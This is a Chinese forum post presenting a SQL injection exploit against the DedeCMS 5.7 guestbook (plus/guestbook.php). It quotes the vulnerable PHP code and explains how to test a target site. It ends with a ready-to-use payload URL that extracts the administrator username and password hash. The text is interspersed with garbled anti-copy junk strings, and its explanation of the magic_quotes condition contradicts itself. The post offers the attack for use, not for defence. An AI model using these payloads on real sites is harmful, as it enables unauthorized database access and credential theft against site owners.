dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
2 C; I7 [% d9 ^+ |' M, q
, N+ e5 o3 G; [漏洞文件edit.inc.php具体代码：
/ l% g  b8 e: J8 U8 _3 r, F$ A1 R0 T
7 M4 l2 Y  o; S( r9 Z< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
% s, [' |; V( J5 R) h
' b) c8 d8 y$ Y* y( W' Y5 c   
  F4 E: a* e$ l
4 s  m/ R: y3 h/ f% g6 z4 Jif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  

   

$id = intval($id);  
. l- T+ r" R. d; r1 U. k& l
if(empty($job)) $job='view';  

   
, s8 n' Q- m/ u% |9 U& E. v
1 o+ s( T! \  p" W" ?+ |/ Hif($job=='del' && $g_isadmin)  
: l5 [5 y/ L# c/ J/ ?
{  

* C* H0 b$ J% Q! x$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
6 k, @' f7 i' \, `. a
# c& T; o: u- e! JShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

9 w* x+ S( N  d- \0 Zexit();  
& R; q- w& ?& \
}  

else if($job=='check' && $g_isadmin)  
$ N: S3 ~( S. o+ Y. _6 Y+ P3 o: ]
  |8 W! `- U) P$ L{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

' _5 q( w0 \+ c  f) U5 dShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  
# ?3 _; \  s6 y# N6 y5 ]
}  

else if($job=='editok')  
. s8 v3 f9 C9 E8 z
6 o% w3 h$ k, O" q{  

4 h; `; ?# ~# ~' X; q0 O5 N$remsg = trim($remsg);  
9 \/ w9 Q$ Q5 T- H
% j% I+ m) l7 U3 J% {if($remsg!='')  

{  
# I' q2 c( L% {0 L, v, \
. ^6 U0 z7 J0 k+ C3 j; T- Q//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( ?4 j3 d8 p  I8 d
2 w7 W% {. B( h2 W+ lif($g_isadmin)  

{  

. B. Q% c7 j6 D. y, _$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
: V0 |" s' J: ?
//$remsg <br /><font color=red>管理员回复：</font> }  

else

- }' P) W3 e2 X{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
7 k% i6 Y( c  [& E/ I9 Y, E: V
( L* k1 `$ ]: K$ q. F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  
4 I/ e8 D% Y+ x( `, F1 ~9 d( K8 g- n
}  

; y7 j+ ]' o5 a9 J3 R}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
! X' r3 Y0 u' `7 w
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

! |; L- W/ ^3 M6 G, b* sShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

% ~# R' U9 I# Z. N% I) l}  
$ T1 Y6 i9 R6 r6 X5 L
3 H# A, @5 z+ l//home:www.errs.cc  
1 \3 P& p' l6 M$ m" \4 f( o5 F
3 |! Y; X$ F1 Z7 C/ m: h( mif($g_isadmin)  

{  
. C2 P% r+ R" x3 G! _; m1 |3 x# |1 v
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

# W: [8 M9 F! |}  
9 O9 y1 S6 y5 Z
else

# {5 `6 B% u' V; K{  

6 |1 |& q& {. X- l- G+ z* I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
; Y0 k, W. V3 I3 y' C  D; ?" _* P6 N* B
} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
: |! `! b$ Z. _  j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
* q, w& x' u) G- r2 b% R然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
/ Q# G% ~: q1 O% f访问：
8 s( ?. o' x& b5 G% t; ^. ^8 |2 d+ O
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
1 M( v3 \* W2 _4 h/ x跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 u" P1 i( p$ ^5 t
/ c2 T, r; Y# a
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
  }+ Z: Y+ C8 A* Y6 C# a" F4 d如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
5 M4 y% C7 n) }2 y# m
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
5 o6 w. F! J/ L2 o- [
大概利用就是这样，大家有兴趣的多研究下！！
* e7 H8 N2 |  U' k) y9 Z
6 W/ \0 n. U+ t: G! s5 E最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
% L9 K* ~7 g/ r
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='